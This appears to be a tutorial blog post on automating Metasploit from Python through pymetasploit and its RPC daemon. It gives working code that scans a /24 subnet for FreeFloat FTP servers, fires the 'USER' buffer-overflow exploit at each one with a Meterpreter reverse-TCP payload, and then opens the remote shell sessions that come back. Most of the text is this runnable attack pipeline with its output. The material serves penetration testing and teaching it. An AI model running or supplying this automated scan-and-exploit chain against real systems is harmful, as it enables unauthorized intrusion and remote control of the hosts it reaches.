Automating the actions of the attacker using metasploit and Python

It is known that the metasploit is written in Ruby and does not support scripts written in Python so it requires some additional tuning to automate the actions of the attacker using metasploit and Python. Despite this, the metasploit has a two-way RPC interface, with which you can run tasks.

There are two libraries that allow you to interact with the remote procedure call (RPC) metasploit, which is a pymetasploit from allfro and python-msfrpc from SpiderLabs . This article uses the first one. On the Internet and the github pymetasploit repository, there are examples of launching exploits and interacting with established sessions, but I could not find examples of running scanners and getting output for further processing of results. One of the options will be considered below.

Install the library:

git clone https://github.com/allfro/pymetasploit

At the time of this writing, I did not have a connection to msfrpc without this commit .

cd pymetasploit
python setup.py install

Run the RPC listener:

root@kali-template:~# msfrpcd -h

Usage: msfrpcd <options>

OPTIONS:

    -P <opt>  Specify the password to access msfrpcd
    -S        Disable SSL on the RPC socket
    -U <opt>  Specify the username to access msfrpcd
    -a <opt>  Bind to this IP address
    -f        Run the daemon in the foreground
    -h        Help banner
    -n        Disable database
    -p <opt>  Bind to this port instead of 55553
    -t <opt>  Token Timeout (default 300 seconds)
    -u <opt>  URI for Web server

root@kali-template:~# msfrpcd -P password -n -f -a 127.0.0.1
[*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg...
[*] MSGRPC ready at 2018-03-28 14:34:10 +0300.

Now Metaslpoit RPC listens locally to the port by default 55553.

The task for automation

Suppose there is a subnet 192.168.0.0/24. It is known that it has several ftp servers available. It is necessary to check if any of them are vulnerable to the Freefloat FTP Server – ‘USER’ Remote Buffer Overflow . If found, exploit the vulnerability and get the shell of the vulnerable machine.

We import the necessary classes

from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole

To interact with RPC, only MsfRcClient is sufficient, but to get the output of the scanning modules, it is necessary to interact with the metasploit console, so we also import MsfRpcConsole.

We will connect to RPC listener, we will pass the password. The port and address are used by default.

client = MsfRpcClient('password')

We connect to the metasploit console, by default the console messages are output to the standard output and are displayed on the screen. To “catch” this data and use it later, the MsfRcConsole class uses a callback function that is passed through the cb = parameter. Thus, every time the data for display appears in the console, the read_console function will be called.

console = MsfRpcConsole(client, cb=read_console)

Data comes in this format:

In [6]: console.console.read()
Out[6]: {'busy': False, 'data': '', 'prompt': 'msf > '}

Define the function read_console, so that the received data is available from the main code of the program. We define two global variables:

  • global_console_status to monitor whether the module is still running;
  • global_positive_out for the accumulation of positive results.

The read_console function will assign the value of the’busy ‘key to the global variable global_console_status and check whether the [+] character that the positive result of the module’s execution is normally marked with in the data on the key is’ data’. If the result is positive, the line containing [+] is added to the global_positive_out list:

global global_positive_out
global_positive_out = list()
global global_console_status
global_console_status = False

def read_console(console_data):
    global global_console_status
    global_console_status = console_data['busy']
    print global_console_status
    if '[+]' in console_data['data']:
	sigdata = console_data['data'].rstrip().split('\n')
	for line in sigdata:
	    if '[+]' in line:
		global_positive_out.append(line)
    print console_data['data']

Now, execute the commands necessary to run the auxiliary module ftp_version in the console.

console.execute('use auxiliary/scanner/ftp/ftp_version')
console.execute('set RHOSTS 192.168.0.0/24')
console.execute('set THREADS 20')
console.execute('run')
time.sleep(5)

We will wait for the completion of the module, checking every 5 seconds whether the console is busy:

while global_console_status:
    time.sleep(5)

After the module is finished, we will process the results and extract the IP addresses of the hosts that are vulnerable:

targets = list()
for line in global_positive_out:
    if 'FreeFloat' in line:
    	ip = re.findall(r'[0-9]+(?:\.[0-9]+){3}', line)[0]
	targets.append(ip)

To exploit the vulnerabilities found, create an exploit object. To see what options are available for this exploit and which ones are mandatory, you can use the exploit.options and exploit.required method. Install LPORT, LHOST and EXITFUNC:

In [4]: exploit.required
Out[4]: ['RHOST', 'SSLVersion', 'ConnectTimeout', 'FTPTimeout', 'RPORT']

In [5]: exploit.options
Out[5]: 
['FTPDEBUG',
 'ContextInformationFile',
 'WORKSPACE',
 'FTPPASS',
 'FTPUSER',
 'CHOST',
 'RHOST',
 'Proxies',
 'DisablePayloadHandler',
 'TCP::send_delay',
 'SSLVersion',
 'ConnectTimeout',
 'CPORT',
 'SSLVerifyMode',
 'FTPTimeout',
 'VERBOSE',
 'SSLCipher',
 'SSL',
 'WfsDelay',
 'TCP::max_send_size',
 'EnableContextEncoding',
 'RPORT']

exploit = client.modules.use('exploit', 'windows/ftp/freefloatftp_user')
pl = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
pl['LPORT'] = 443
pl['LHOST'] = localhost
pl['EXITFUNC'] = 'thread'

To run, you must call the execute () method, passing the previously initialized payload:

for target in targets:
	exploit['RHOST'] = target
	ftpsession = exploit.execute(payload=pl)
	time.sleep(5)

If successful, the job_id key will contain the number, if not successful, – None.

{'job_id': 1, 'uuid': 'uv0ontph'}

When the session is received, the client.sessions.list will contain the session number and parameters specific to the session in the format below:

{1: {'info': 'SEMYON-FE434C23\\Administrator @ SEMYON-FE434C23', 'username': 'root', 'session_port': 21, 'via_payload': 'payload/windows/meterpreter/reverse_tcp', 'uuid': 'azxxoup4', 'tunnel_local': '192.168.0.92:443', 'via_exploit': 'exploit/windows/ftp/freefloatftp_user', 'arch': 'x86', 'exploit_uuid': 'uv0ontph', 'tunnel_peer': '192.168.0.90:4418', 'platform': 'windows', 'workspace': 'false', 'routes': '', 'target_host': '192.168.0.90', 'type': 'meterpreter', 'session_host': '192.168.0.90', 'desc': 'Meterpreter'}}

In this case, the reverse session of the interpreter was chosen as the payload of the exploit. In order to determine whether a connection has come, you need to check whether there are new sessions in the client.sessions.list. The key in this case is the exploit uuid, which should be equal to the exploit_uuid session. For implementation, we define two functions for finding new sessions, compare_sessions, which will wait for the specified time and compare the old session list with the current session and get_session, which will return the session corresponding to the launched exploit.

def get_session(sessions_list, exploit_job):
    if not sessions_list:
        return False
    for session in sessions_list:
        if sessions_list[session]['exploit_uuid'] == exploit_job['uuid']:
            return session
    return False

def compare_sessions(old_sessions_list, seconds = 120):
    flag = False
    while not flag:
        if seconds == 0:
            return False
        if client.sessions.list != old_sessions_list:
            flag = True
        time.sleep(1)
        seconds -= 1
    current_sessions = client.sessions.list
    all(map(current_sessions.pop, old_sessions_list))
    return current_sessions

Save the current session, run the exploit:

old_sessions = client.sessions.list
ftpsession = exploit.execute(payload=pl)
time.sleep(5)
ftpsessioncode = get_session(client.sessions.list, ftpsession)
if not ftpsessioncode:
    sys.exit()

After receiving the session, we can interact with it by calling client.sessions.session () and passing the session number. Using the shell.read (), shell.write (), shell.runsingle () methods, you can pass commands and read the response from the meterpter session.

shell = client.sessions.session(ftpsessioncode)
shell.read()

Using the described technique, you can run any available modules and get output from the console.

The code is available in the github repository .